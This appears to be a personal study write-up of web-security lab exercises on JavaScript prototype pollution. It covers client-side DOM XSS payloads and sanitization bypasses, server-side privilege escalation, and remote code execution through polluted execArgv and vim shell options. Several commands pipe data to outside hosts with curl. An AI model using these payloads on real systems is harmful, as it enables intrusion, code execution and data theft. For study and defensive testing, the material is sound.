# Prototype pollution [TOC] ==Definition== Prototype pollution is a vulnerability in javascript ,that enable attacker to add properties to global object prototype, which may then be inherited by user-defined objects. # Javascript prototype and inheritance Almost everything in JavaScrpt is an object under the hood ## property property -> key:value ``` const meowhecker = { name:"meowhecker", //property age:10 //property method:function(){ // do somethings } } ``` ## Access the property Access Methods: - dot notation - bracket notation ``` meowhecker.name meowhecker['age'] ``` ## Object Literal Object Literal is mean the object is create by the curly brace syntax ## Javascript prototype Every object in javascript is linked to another object (prototype) By the Default Javascript automatically assign new object one of built-in prototype. ![](https://hackmd.io/_uploads/H1SsPkq23.png) ![](https://hackmd.io/_uploads/SJiowyc2h.png) ``` let myObject = {}; Object.getPrototypeOf(myObject); // Object.prototype let myString = ""; Object.getPrototypeOf(myString); // String.prototype let myArray = []; Object.getPrototypeOf(myArray); // Array.prototype let myNumber = 1; Object.getPrototypeOf(myNumber); // Number.prototype ``` Object automatically inherit all the property of their assign prototype ## Javascript inheritance When we reference a property of an Object Firstly -> JavaScript engine access the property directly on the object itself. if the property is not found on the object,we then looking for it in the object's prototype ![](https://hackmd.io/_uploads/H1nAoyc2n.png) ## Prototype chain object's prototype is just another object, which should also have own prototype ![](https://hackmd.io/_uploads/SJL3le53n.png) Crucially, objects inherit properties not just from their immediate prototype, but from all objects above them in the prototype chain. username object can access to the prototype and method of both String.prototype and Object.prototype. ## Accessing an object's prototype using __porto__ ``` username.__proto__ username['__proto__'] ``` chain reference ``` username.__proto__ // String.prototype username.__proto__.__proto__ // Object.prototype username.__proto__.__proto__.__proto__ // null ``` ## Modify prototype String object ``` String.prototype.removeWhitespace = function(){ // remove leading and trailing whitespace } ``` ``` let searchTerm = " example "; searchTerm.removeWhitespace(); // "example" ``` # Prototype Pollution vulnerability ARise. Prototype pollution arise when recursively merges an object containing user-controllable properties into an existing object Sample ```javascript const object1 = { name: "Alice", address: { city: "New York", country: "USA" } }; const object2 = { age: 30, address: { country: "Canada" } }; const mergeObject = {}; function resursiveMerge(targetObject, inputObj) { for (let key in inputObj) { if (typeof inputObj[key] === "object" && inputObj[key] !== null) { //if value is object and valule isn't null if (!targetObject[key]) { targetObject[key] = {}; // create empty Key } resursiveMerge(targetObject[key], inputObj[key]); // resursive invoke } else { targetObject[key] = inputObj[key]; // Assight the value } } } resursiveMerge(mergeObject, object1); resursiveMerge(mergeObject, object2); console.log(mergeObject); ``` Result ``` { name: 'Alice', address: { city: 'New York', country: 'Canada' }, age: 30 } ``` If developer doesn't sensitive the key, we can inject a property with key like __proto__ merger operation may assign the property to the object's prototype instead of the object's itself Common Occurs: Object.prototype # Exploitation of Prototype Pollution ## Getter __proto__ -> getter __proto__ point to object prototype. javascript can use this to return object prototype ! When we assign the value by __proto__, actually we are assign value on prototype ! ```javascript let obj = {}; obj.__proto__.evilProperty = "I'm evil!"; console.log(obj.evilProperty); // "I'm evil!" console.log(Object.prototype.evilProperty); // "I'm evil!" ``` Sample ![](https://hackmd.io/_uploads/SyALpSyp3.png) ## Prototype pollution source Prototype pollution source means any user control input that enable you to add arbitrary property to prototype object ==Common source== URL or fragment string (hash) JSON-base input Message ### (Source 1)Prototype pollution via the url When breaking the query string as key:value ! ->Seen __proto__ is string to merge exists Object Example (Website parse key and value via URL) ``` https://mewohecker.com?__proto__['evilProperty'] = payload ``` Merge Operation ! ``` { existingProperty1: 'foo', existingProperty2: 'bar', __proto__: { evilProperty: 'payload' } } ``` statement equivalent to the following: ``` targetObject.__proto__.evilProperty = 'payload'; ``` ![](https://hackmd.io/_uploads/rJmvADon2.png) If the `targetObject` is `Object.prototype`, all objects will inherit the "evil" property. ### (Source 2)Prototype pollution JSON input JSON.parse will seen "__proto__" as a string not a getter method, it provide us a potential vector for prototype pollution. ``` const objectLiteral = {__proto__:{admin:"Ture"}} const objectFromJson = JSON.parse('{"__proto__":{"admin":"Ture"}}') console.log(objectLiteral.hasOwnProperty('__proto__')) //false console.log(objectFromJson.hasOwnProperty('__proto__')) //true ``` ## Prototype pollution sink "Sink" refers to javaScript Function or DOM element that allow us to execute arbitrary javasScript or system command. prototype pollution can enable us to manipulate property that original inaccessible. we will have more opportunity to interact with additional sinks and exploit it ## Prototype pollution gadgets(小裝置) gadges -> Prototype pollution vulnerability turn into an actual exploit - Passing a property to a sink without any sensitivity! - An object inherits a malicious property added to the prototype by an attacker. If injected property is defined directly on the object itself, it's not considered a prototype pollution gadgets (The object's own version fo the property takes precedence over the injected property) ### Example of prototype pollution gadgets Library code ``` let transportURL = config.transportURL || default.transportURL ``` if a specific options (config.tranportURL) is not present a predefined default option (default.transportURL) will be used instead. --- # Client-Side prototype pollution ## Manual Testing - Step 1 Find out injection Point ! Find ouy url(Parse Key:value ) or json input(Using Json.parse()) can merge exists obj malicious attribute to prototype Step 2 Check Pollution Occurred ! create obj in console to determine the pollution was occurred! ```javascript= __proto__[foo]=bar __proto__.foo=bar Bypass __protot__ check ! myObject.constructor.prototype == myObject.__proto__ ``` ## DOM Invader(XSS 測試工具) DOM Invader is Burp Suite extension tool(pre-installer) used for automated testing the DOM XSS vulnerabilities. ### Enabling DOM invader ![](https://hackmd.io/_uploads/S1xOIdET3.png) ![](https://hackmd.io/_uploads/Hy52wuVah.png) ### Key Feature ![](https://hackmd.io/_uploads/BJA2dOEa2.png) ==Automatically identify sources of client-side prototype pollution== the tool will automatically detect the potential Source and you can then select "Scan for gadgets" options to find the Sink and exploit it. ![](https://hackmd.io/_uploads/SJdrqu463.png) ## Lab: DOM XSS via Client-side prototype pollution >Description: Confing.transport is not be defined We can pollute it by using the __proto__. ### Impact pre-auth Arbitrarily javascript execution ### Analysis ![](https://hackmd.io/_uploads/H1mXlFJa2.png) ![](https://hackmd.io/_uploads/HytexFJpn.png) I found the object will inherit the __proto__, if the property is not be defined. Source ```javascript! async function logQuery(url, params) { try { await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)}); } catch(e) { console.error("Failed storing query"); } } async function searchLogger() { let config = {params: deparam(new URL(location).searchParams.toString())}; if(config.transport_url) { let script = document.createElement('script'); script.src = config.transport_url; document.body.appendChild(script); } if(config.params && config.params.search) { await logQuery('/logger', config.params); } ``` Analysis logQuery() input: HTTP URL and Params ``` JSON.stringify(params) ``` javascript Object trans into JSON searchLogger() create the config Object Attribute -> params Methods: ToStrng transport_url -> transport\_URL -> If transport\_URL is not defined, we can pollute it (we could control it ) ``` script.src = config.transport_url; ``` Source: ->URL query ``` ?search=meowhecker&constructor[prototype][testproperty]=DOM_INVADER_PP_POC ``` Embedding the data that we can control in the URL. Format ``` data:[<mediatype>][;base64],<data> ``` Sink: ``` <script src="$transport_url"></scirpt> ``` Identify a gadget ![image](https://hackmd.io/_uploads/ByyKOaZGye.png) Steps to Reproduce XSS-payload ![](https://hackmd.io/_uploads/B1RvvAZT3.png) ``` ?search=meowhecker&__proto__[transport_url]=data%3A%2Calert%281%29 ``` ![](https://hackmd.io/_uploads/rkkv6vkT3.png) Solved ! --- ## LAB:DOM XSS via an alternative prototype pollution vector ### Impact: pre-auth Arbitrarily javascript execution ### Analysis Prototype pollution is probable: Method 1 ``` url?__proto__['meow']=hecker ``` -> Failed Object.prototype is not affected by our injection . So we can try another way to test it Method 2 ``` url?__proto_.meow = hecker ``` Result ![](https://hackmd.io/_uploads/Sy6mWqET2.png) Sink: Search logger() ```javascript async function searchLogger() { window.macros = {}; window.manager = {params: $.parseParams(new URL(location)), macro(property) { if (window.macros.hasOwnProperty(property)) return macros[property] }}; let a = manager.sequence || 1; manager.sequence = a + 1; eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }'); if(manager.params && manager.params.search) { await logQuery('/logger', manager.params); } } window.addEventListener("load", searchLogger); ``` manager.squence -> not Defined !! payload ?__proto__.sequence=alert(1) ### Payload Debug analysis: ![](https://hackmd.io/_uploads/BJND69NTn.png) ![](https://hackmd.io/_uploads/HyexC54p2.png) We need to consider how to make "alert(1)1" can be execute correctly within eval function ```javascript let object ={ sequence:"alert(1)" } let source = object.sequence+"1" console.log(source) eval(source) ``` ![](https://hackmd.io/_uploads/S17wJoE6h.png) Validated Payload ``` alert(1)<!-- ``` or ``` alert(1)-" ``` 這裡 - 會被parse 成 -號 但alert(1) 會被execute ![](https://hackmd.io/_uploads/Byg21oV63.png) evil -> 可以想成`<script></script>` ![](https://hackmd.io/_uploads/BkvbMi4T2.png) ## Prototype Pollution via the Construction(Alternative Vector) ### Common Defends Common Defends strategy involves to removing any property with key __proto__ from user controlled object. However, it's possible to reference `Object.prototype` without using the string "proto" at all. --- If the prototype set is not "null," the `Object` will utilize the constructor function (`Object`) to create a new instance. ```javascript myObjectLiteral.constructor // function Object(){...} myObject.constructor // function Object(){...} ``` COnstructor function Also have the __proto__ property ``` myObject.constructor.prototype // Object.prototype myString.constructor.prototype // String.prototype myArray.constructor.prototype // Array.prototype ``` As `myObject.constructor.prototype` is equivalent to `myObject.__proto__`, this provides an alternative vector for prototype pollution. ``` __proto__[meow]='hecker' __proto__.meow='hekcer' object.constructor[prototype]=hecker ``` ``` URL ```javascript __proto__.property="value" Object.constructor.prototype.property="value" ``` ### JSON payload ``` "constructor":{ "prototype":{ "isAdmin":true } } ``` ``` ## Bypass Flawed key sensitive Common mistake is failing to recursively sanitize the input string. e.g. ``` url?__pro__proto__to__[gadget]=payload ``` ``` url?__proto__.gadget=payload ``` ## Lab: Client-side prototype pollution via flawed sanitization Analysis ``` __proto__.meow='hecker' __proto__[meow]='hecker' construct.prototype.meow ='hecker' construct[prototype][meow]='hecker' ``` ## Key Sensitive Bypass GET /resources/js/searchLoggerFiltered.js ```javascript function sanitizeKey(key) { let badProperties = ['constructor','__proto__','prototype']; for(let badProperty of badProperties) { key = key.replaceAll(badProperty, ''); } return key; } ``` ``` ?__pro__proto__to__[meow]='hecker' ``` ![](https://hackmd.io/_uploads/Hy-ZBn4ph.png) ### Sink ```javascript async function searchLogger() { let config = {params: deparam(new URL(location).searchParams.toString())}; if(config.transport_url) { let script = document.createElement('script'); script.src = config.transport_url; document.body.appendChild(script); } if(config.params && config.params.search) { await logQuery('/logger', config.params); } } ``` ### Exploit payload ``` ?__pro__proto__to__[transport_url]=data:,alert(1); ``` ![](https://hackmd.io/_uploads/ryWXun4a3.png) --- ## Prototype pollution in external libraries The prototype pollution gadgets may occur in the third-part library that are imported by the application ## LAB Client-side prototype pollution in third-part libraries. Using the DOM invader to Search potential Sink ![](https://hackmd.io/_uploads/S1WVcaTan.png) ### Impact: Arbitrary Javascript Execution Analysis: ![](https://hackmd.io/_uploads/SkAv-6aan.png) ![](https://hackmd.io/_uploads/Skg0-aT63.png) ### payload ``` #__proto__[hitCallback]=alert%281%29 ``` Craft the response Mal-URL ``` https://exploit-0af700bc036fcd7783a4ecd701520015.exploit-server.net/meowhecker.com ``` Response Header ``` HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 ``` BOdy ```htmlembedded Hello, world! I'am MeowHecker~ <script> location = "https://0af200cc03b3cdab8317ed9e006b0046.web-security-academy.net/#__proto__[hitCallback]=alert(%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%20)" </script> ``` IF the victim clicks the malicious URL, it will trigger the payload and execute the arbitrary javascript code. --- ## Browser API ### prototype via fetch() fetch function allow the client to trigger the HTTP requests Using the javascript. Sample ``` fetch('http://meowhecker',{ method:POST, body:username=??&password=?? }) ``` Vulnerable Code Attacker can try the use header property to inject malicious code ```javascript fetch('/my-products.json',{method:"GET"}) .then((response) => response.json()) .then((data) => { let username = data['x-username']; let message = document.querySelector('.message'); if(username) { message.innerHTML = `My products. Logged in as <b>${username}</b>`; } let productList = document.querySelector('ul.products'); for(let product of data) { let product = document.createElement('li'); product.append(product.name); productList.append(product); } }) .catch(console.error); ``` It utilize an HTTP request to retrieve the username from the server and set the vale of the username variable ``` let username = data['x-username'] ``` Before the requesting to JSON file, the username variable is not defined and attacker can inject malicious property pass in InnerHTML(SINK) which can leaded to DOM XSS ``` message.innerHTML = `My products. Logged in as <b>${username}</b>`; ``` payload ``` ?__proto__[headers][x-username]=<img/src/onerror=alert(1)> ``` headers -> 取得HTTP request (header)部分 Analysis ```javascript! const customerHeader = { headers:{ 'Content-Type': 'application/json', 'Authorization': 'meowhecker secret-token', 'testing':undefined } } const response ={ __proto__:customerHeader } console.log(response.headers); console.log(response.__proto__.headers); console.log(response.__proto__.headers['Content-Type']); ``` -> we can controlled any undefined property of the options object passed to fetch() ## Prototype pollution via Object.defineProperty() Flawed prototype pollution Mitigation ```javascript const vulnerableObject = {} Object.defineProperty(vulnerableObject,'gadgetProperty',{ configurable:false, writable:false }) vulnerableObject.gadgetProperty = "meowhacker hacke in" console.log(vulnerableObject.gadgetProperty) ``` descriptor 如果沒有 initial value -> e.g. value : "value" payload ``` __proto__.value="evil input" ``` --- ## LAB analysis: Source(URL) /?__proto__[meow]="hacker" ![](https://hackmd.io/_uploads/ry1vugA6n.png) vulnerable code ```javascript async function searchLogger() { let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false}; Object.defineProperty(config, 'transport_url', {configurable: false, writable: false}); if(config.transport_url) { let script = document.createElement('script'); script.src = config.transport_url; document.body.appendChild(script); } if(config.params && config.params.search) { await logQuery('/logger', config.params); } } ``` Object.defineProperty(config, 'transport_url', {configurable: false, writable: false}); he don't defined the initial value of the property(Object.defineProperty )!! ``` /?__proto__[value]=meowhecker ``` ![](https://hackmd.io/_uploads/HyHh5gC6h.png) ### Exploit payload ``` ?__proto__[value]=data:,alert(1) ``` ![](https://hackmd.io/_uploads/H1RPolATn.png) # Serve Side prototype pollution More difficult - NO-source code - DOS problems - Pollution persistence ## Polluted property reflection(Detection) A "for...in" loop in JavaScript can enumerate properties, including those inherited from the prototype. ```javascript= userObj = { name:"user", password:"user123" } Object.prototype.meow = "hacker" console.log(userObj.hasOwnProperty('moew')) //output: false console.log(userObj.meow) console.log("---------------------------------------------------") //for loop enumerate console.log("for...loop") for (propertyKey in userObj){ console.log(propertyKey) } ``` if the server side for..loop is used to retrieve obj values and respond to client, we can utilize it to send POST or PUT request to test whether there is a global prototype pollution or not. ### Detect way (Reflect) Way 1 (JSON injections) Request! ``` POST /user/update HTTP/1.1 Host: vulnerable-website.com ... { "name":"user", "password":"user123", __proto__:{ "meow":"hacker" // injected property } } ``` Response! ``` HTTP/1.1 200 OK ... //if the website have prototype pollution vulnerable { "name":"user", "password":"user123", "meow":"hacker" //Server-side have prototype pollution } ``` In rare case, the website use these properties to dynamically generate the html. This mean that we can analysis the html to know the website whether it have vulnerability or not. if we are aware prototype pollution is possible,the next step is to find the potential gadget to exploit this vulnerability We could investigate any feature including updating user date, if we can arbitrarily modify any property of the current user object ,this potentially lead to a number of vulnerabilities, including privilege escalation. ## LAB- Privilege escalation via server-side prototype pollution Environment - Node.js - Express After logging into the website, we are aware that there is an "update user" functionality. We can proceed to test it to determine whether there is a prototype pollution vulnerability. POST /my-account/change-address HTTP/2 Request ``` POST /my-account/change-address HTTP/2 {"address_line_1":"Wiener HQ meowTest","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"YutUbIOtOx84Q7Dw9VeolizacFtRiH5Y", "__proto__": { "meow":"Hacker" } } ``` Response ``` {"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Wiener HQ meowTest","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false,"foo":"bar","meow":"Hacker"} ``` Based on the results, if we can arbitrarily modify user object properties, we can attempt to elevate the user's privileges to that of an admin. Privilege User -> Admin payload request ``` POST /my-account/change-address HTTP/2 "__proto__": {"admin":"true"} ``` Easy ![](https://hackmd.io/_uploads/S1aKrKeA2.png) ![](https://hackmd.io/_uploads/HJ7hHFlC2.png) --- ## Detecting prototype pollution without polluted property pollution (Non-destructive) we can attemp inject property to the potential configuration option of the server, and compare the server's behavior before and after ### Status code override ``` HTTP/1.1 200 OK ... { "error": { "success": false, "status": 401, "message": "You do not have permission to access this resource." } } ``` self-defined Error Object Node http-error module ```javascript function createError(arg,status){ // object if (typeof arg === 'object' && arg instanceof Error){ status = arg.status || arg.statusCode || status }else if (arg === 'number'){ status = arg; } const error = new Error(`Custom Error with Status Code${status}`) error.status = status return error } const error1 = createError(404); // create 404 Error Object console.error(error1); const customError = new Error('This is a custom error'); customError.status = 418; const error2 = createError(customError); console.error(error2); ``` Injected point: ==status = arg.status \|| arg.statusCode || status== If the developer didn't explicitly set the "status" property for an error, we could attempt to pollute this property to determine whether there is a prototype pollution vulnerability or not. #### Methods 1. Find a way to trigger the error and record the default status code. 2. Attempt to pollute the prototype with your own `status` property. 3. Trigger the error response and check whether the status code has been overridden. ### JSON spaces override Express 4.17.4 (below) ### charset override middleware -> preprocessing of requests before pass to the handler function ==req.body obj== ```javascript const express = require("express"); const bodyParse = require("body-parser") const app = express() //middleWare //Parse the reqeust //paser application/x-www-form-urlencoded" app.use(bodyParse.urlencoded()) //paser JSON data to js object app.use(bodyParse.json()) app.post('/api/meow',(req,rsp)=>{ const requestBodyObj = req.body console.log(requestBodyObj) rsp.json({message:'Received data !!'}) }) const port = process.env.PORT || 8001 app.listen(port,()=>{ console.log(`Server is running on port ${port}`); console.log(`http://127.0.0.1:${port}`) }) ``` ``` USER@DESKTOP-QGJ2K9H MINGW64 ~/Desktop/CSIE/WebSecurity (master) $ curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "key1=value1&key2=value2" http://127.0.0.1:8001/api/meow {"message":"Received data !!"} body-parser deprecated undefined extended: provide extended option reqBodyObj.js:10:23 Server is running on port 8001 http://127.0.0.1:8001 { key1: 'value1', key2: 'value2' } ``` --- charset charset is used to instruct the server on how to decode and parse the data ```javascript const express = require("express"); const bodyParse = require("body-parser") const contentType = require('content-type'); const read = require('read'); const app = express() const port = process.env.PORT || 8001 //middleWare //Parse the reqeust //paser application/x-www-form-urlencoded" app.use(bodyParse.urlencoded({ extended: false })) //paser JSON data to js object app.use(bodyParse.json()) app.use((err, req, res, next) => { console.error('Error:', err); res.status(500).send('Internal Server Error'); }); function getCharset(req){ try { //get the contentType of charest property return (contentType.parse(req).parameters.charset || "").toLowerCase() } catch(error){ console.log(error) return undefined } } app.post('/api/post1',(req,res)=>{ const requestBodyObj = req.body console.log(requestBodyObj) res.json({message:'Received data !!'}) }) //charset app.post('/api/post2',(req,res)=>{ // get the charset form HTTP header (Content-Type:) const charset = getCharset(req) || "utf-8" const readOption = { //encoding -> Inform the server to use a specific character encoding for decoding when reading data. encoding: charset // //compose data // inflate: inflate, // //Maximum string length. // limit: limit, // verify: verify } //read the data: parse request -> to data //Read function have BUG read(req,res,(err,data)=>{ if(err){ console.error('Error reading request:', err); res.status(500).send('Internal Server Error'); }else{ console.log(data) // res.json({message:'Received data !!'}) res.send('Request data received successfully!'); } },readOption) }) app.listen(port,()=>{ console.log(`Server is running on port ${port}`); console.log(`http://127.0.0.1:${port}`) }) ``` How to test?? we could follow these steps send the json data to the server In this data, the "role" field contains the value "+AGYAbwBv-", which is encoded as "foo" in UTF-7. ```json { "sessionId":"0123456789", "username":"meowhecker", "role":"+AGYAbwBv-" } ``` And attempt to polluted req object ``` { "sessionId":"0123456789", "username":"meowhecker", "role":"default", "__proto__":{"content-type": "application/json; charset=utf-7"} } ``` This payload tries to set the charset to UTF-7. Resend ```json { "sessionId":"0123456789", "username":"meowhecker", "role":"+AGYAbwBv-" } ``` if there is prototype pollution the role field will be pare as "foo" #### `_http_incoming` module ``` IncomingMessage.prototype._addHeaderLine = _addHeaderLine; function _addHeaderLine(field, value, dest) { // ... } else if (dest[field] === undefined) { // Drop duplicates dest[field] = value; } } ``` `_addHeaderLine()` function checks -> checks that no property already exists with the same key before transferring properties to an `IncomingMessage` object 我們用自己的 content-type 屬性污染原型-> undefined,則此時表示請求標頭原生的將被drop掉 讓我們的injection 有效 ## LAB-Detecting server-side prototype pollution without the polluted prototype pollution Request ``` POST /my-account/change-address HTTP/2 ... {"address_line_1":"Meowhecker","address_line_2":"meow","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"lnWxQjQS8kEloO4WUo97pDnNqcJ3j34k"} ``` Response ``` HTTP/2 200 {"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Meowhecker","address_line_2":"meow","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false} ``` Now we could attempt to inject the prototype property to test it ``` {"address_line_1":"Meowhecker","address_line_2":"meow","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"lnWxQjQS8kEloO4WUo97pDnNqcJ3j34k", "__proto__": { "meow":"hacker" } } ``` it appears that response didn't reflect any of the injected property ``` {"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Meowhecker","address_line_2":"meow","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false} ``` ### Status code Override (way 1) However, this dose not necessarily mean that there is no prototype pollution, we could try status code override to further investigate. --- if we intentionally break the json form by removing the comma, The response might result in a error object ![](https://hackmd.io/_uploads/SJ4cxl903.png) 400 -> bad request Implement might be like this: ``` status = arg.status || arg.statusCode || status ``` we could try Inject prototy ``` POST /my-account/change-address HTTP/2 "__proto__": { "status":555 } ``` ``` HTTP/2 200 OK ... ``` ``` ``` ![](https://hackmd.io/_uploads/S1vDzl5A2.png) --- ![](https://hackmd.io/_uploads/rkmv7ec0h.png) ![](https://hackmd.io/_uploads/BkABflcCh.png) ![](https://hackmd.io/_uploads/BkZNmecC2.png) ### Charset override (way 2 ) Vulnerable implement probably like this: ```javascript app.post('/api/post2',(req,res)=>{ // get the charset form HTTP header (Content-Type:) const charset = getCharset(req) || "utf-8" ``` ```javascript function getCharset(req){ try { //get the contentType of charest property return (contentType.parse(req).parameters.charset || "").toLowerCase() } catch(error){ console.log(error) return undefined } } ``` contentType.parse(req).parameters.charset -> http Header -> contentType payload ``` "__proto__":{ "content-type": "application/json; charset=utf-7" } ``` utf-7 Encoding foo --> +AGYAbwBv- Inject the prototype property !! POST /my-account/change-address HTTP/2 ![](https://hackmd.io/_uploads/rkfOKec02.png) --- POST /my-account/change-address HTTP/2 ![](https://hackmd.io/_uploads/SkQpYl5C2.png) HTTP/2 200 OK ![](https://hackmd.io/_uploads/r1oaFg9Rh.png) ## Scanning for source Auto Scanning Extension Bapp store ![](https://hackmd.io/_uploads/HJb5og502.png) Basic work flow 1. Install the **Server-Side Prototype Pollution Scanner** extension from the BApp Store and make sure that it is enabled. For details on how to do this, see [Installing extensions](https://portswigger.net/burp/documentation/desktop/extensions/installing-extensions) 2. Explore the target website using Burp's browser to map as much of the content as possible and accumulate traffic in the proxy history. 3. In Burp, go to the **Proxy > HTTP history** tab. 4. Filter the list to show only in-scope items. 5. Select all items in the list. 6. Right-click your selection and go to **Extensions > Server-Side Prototype Pollution Scanner > Server-Side Prototype Pollution**, then select one of the scanning techniques from the list. 7. When prompted, modify the attack configuration if required, then click **OK** to launch the scan. go to the **Extensions > Installed** tab, select the extension, then monitor its **Output** tab for any reported issues. ![](https://hackmd.io/_uploads/rk9hCe5Rn.png) ![](https://hackmd.io/_uploads/ryeCRlqRn.png) ## Bypass input filter ### Flawed Sanitiztion developer will write something to sanitize input(key sanitzation) if developer didn't use recursion to thoroughly check, it's possible to bypass flawed key sanitization `?__pro__proto__to__.gadget=payload` or use construction function ### Flawed application Configuration Node applications can also delete or disable `__proto__` using the command-line flags `--disable-proto=delete` or `--disable-proto=throw` we could use constructor function to bypass it ```javascript // Create a constructor function function LocalObj() { name:"local object" } // Add a property to the prototype(global testing) Object.prototype.property = "meow adding form Global Obj"; // Create an instance of MyObject const myInstance = new LocalObj(); // Access the property on the instance console.log(myInstance.property); // This will output "meow" ``` --- URL ```javascript __proto__.property="value" Object.constructor.prototype.property="value" ``` JSON ``` "constructor":{ "prototype":{ "isAdmin":true } } ``` ## LAB-bypass input filter for server-side prototype pollution 我們直接在constructor 裡面 做prototype pollution 想必用單純的__proto__ 是沒辦法去做prototype pollution Analysis: ```javascript "constructor":{ "prototype":{ "status":580 } } ``` ![](https://hackmd.io/_uploads/SyiV6WcC3.png) --- ![](https://hackmd.io/_uploads/rkMDabcC2.png) --- ```javascript "constructor":{ "prototype":{ "isAdmin":true } } ``` or IN url(沒試過) ``` Object.constructor.prototype.isAdmin = true ``` ![](https://hackmd.io/_uploads/BJg9aW90h.png) ![](https://hackmd.io/_uploads/S19apW9R2.png) ![](https://hackmd.io/_uploads/r1BAaZ5Rh.png) conclusion we cloud use ## Remote Code Execution client-side ->DOM XSS server-side ->potentially lead to RCE ### Vulnerably request `child_process` module have a number of potential command execution sink in Node Identify a vulnerably request: Those danger sink are often invoked by a request that occurs asynchronously to the request identified way The best way to identify these requests is by polluting the prototype with a payload that triggers an interaction C2 server when called `NODE_OPTIONS` -> String (為一組/多組 command line argument) e.g. - `--max-old-space-size` - `--inspect` For 自動 Depoly 可用的 When you start a new Node.js process, the defined command-line arguments should be used by default. NODE_OPTIONS is a property of the env object, if value is not defined, we can attempt to polluted it and control it Source: ``` var env = options.env || process.env; //638 ``` Some node functions create new child process that accept the "shell" property to execute command we could combine with NODE_OPTION(controllable-source) to execute arbitrary command #### inspect ```javascript function sayHello() { console.log('Hello, world!'); while(1){ var number = 0 } } sayHello() ``` Cmd: ``` node --inspect .\debugInspeat.js ``` (Local Debugger) Chrome Node Debuger `chrome://inspect` ![](https://hackmd.io/_uploads/rkeQbW3R3.png) click `inspect` (Remote dubgger) ``` --inspect=0.0.0.0:9229 ``` ``` "__proto__":{ "shell":"node", "NODE_OPTION":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com" } ``` ### Child_process.fork() Method https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L68 Fork Function ``` function fork(modulePath, args = [], options) { //120 ... return spawn(options.execPath, args, options); ``` Remote Code Execution ```javascript const {fork} = require('child_process') const execArgsOptions=[ "--inspect=9926", "--eval=require('child_process').execSync('curl http://127.0.0.1:8000')" ] const options ={ //property execArgv:execArgsOptions } const mainProcess = fork('child.js',[],options) ``` --eveal -> it could import the module ``` node .\mainProcessFork.js Debugger listening on ws://127.0.0.1:9926/57a078d8-f94f-4a35-bf5d-49e2c7940d76 For help, see: https://nodejs.org/en/docs/inspector % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 5224 100 5224 0 0 284k 0 --:--:-- --:--:-- --:--:-- 300k ``` ![](https://hackmd.io/_uploads/SJV6G8h02.png) Payload (RCE) ```json "__proto__":{ "execArgv":[--eval=require('child_process').execSync('curl http://127.0.0.1:8000')]" } ``` ## LAB RCE via server-side prototype pollution Analysis: ### Charset Override ```json "constructor":{ "prototype":{ "content-type": "application/json; charset=utf-7" } } ``` Request ![](https://hackmd.io/_uploads/HJ4GXu2A2.png) Response ![](https://hackmd.io/_uploads/HJwgQu3A2.png) We are certain that this service easily susceptible by the prototype pollution ### Probe Remote COde execution POST /admin/jobs ![](https://hackmd.io/_uploads/Hyd2N_2R2.png) Database clean and File system cleanup are highly likely to use Fork() ``` const {fork} = require('child_process') const execArgsOptions=[ "--inspect=9926", "--eval=require('child_process').execSync('curl http://127.0.0.1:8000')" ] const options ={ //property execArgv:execArgsOptions } const mainProcess = fork('child.js',[],options) ``` exploit payload ```json "__proto__": { "execArgv":[ "--eval=require('child_process').execSync('curl https://3.25.65.151')" ] } ``` ![](https://hackmd.io/_uploads/BkORCdn03.png) "rm /home/carlos/morale.txt" ![](https://hackmd.io/_uploads/Bk4wJFnR2.png) ## child_process.execSync() execSync() method accept 'shell' and 'input' properties. we can injected certain property to write exploit script for arriving remote code execution. ```javascript const {execSync} = require('child_process') try { const command = 'grep "meowhecker"' const input = 'hellow meowhecker\n meowmeow\n' const result = execSync(command,{shell:'/bin/bash',input}) //if shell and input didn't defind, we could pollute it console.log("Result:", result.toString()) } catch (error){ console.error("Error", error.message) } ``` --- ==vulnerable== (Default execSync()) "shell and input probably haven't been defined " By polluting both of these property, you may be able to override the command that application intend to execute command. Note: shell:"executable binary file" it's generally tricky to use Node itself as a shell for your attack. the payload is passed via stdin the shell must be able to execute command from stdin. ### Vim, Ex (Potential Vector) ``` "shell":"vim", "input":"!: <command>\n" ``` ## LAB-Exfiltrating sensitive via serve-side prototype pollution HTTP Status Override json inject ```json "constructor": { "prototype":{ "status":555 } } ``` ![](https://hackmd.io/_uploads/HJ4GjX1k6.png) ![](https://hackmd.io/_uploads/HkT_iQJyT.png) --- Probe for Remote Code Execution ``` "constructor":{ "prototype":{ "shell":"vim", "input":":! curl http://1lnew78axsatxscyji29q55o1f76vwjl.oastify.com\n" } } ``` ![](https://hackmd.io/_uploads/H1BxDw-yp.png) --- ![](https://hackmd.io/_uploads/Byng_wbya.png) ![](https://hackmd.io/_uploads/rkgSQWgJ6.png) ``` ubuntu@ip-54-252-53-102:~$ ls test ubuntu@ip-54-252-53-102:~$ ls ./ test ubuntu@ip-54-252-53-102:~$ ls ./ | base64 dGVzdAo= ``` ```shell $ cat meotest | base64 | curl -d @- http://127.0.0.1:8000 ``` @- Reading the data from the standard input. ![](https://hackmd.io/_uploads/SJu15wZy6.png) --- Exploit (Exfiltrating sensitive data) ```json "__proto__":{ "shell":"vim", "input":"! echo 'meowhecker' | base64| curl -d @- http://y76f4empppokvgg4xj032uhxfolf96xv.oastify.com\n" } ``` ![](https://hackmd.io/_uploads/By9L1O-k6.png) --- ``` "__proto__":{ "shell":"vim", "input":"! ls /home/carlos | base64| curl -d @- http://y76f4empppokvgg4xj032uhxfolf96xv.oastify.com\n" } ``` ![](https://hackmd.io/_uploads/r16Aeu-ya.png) 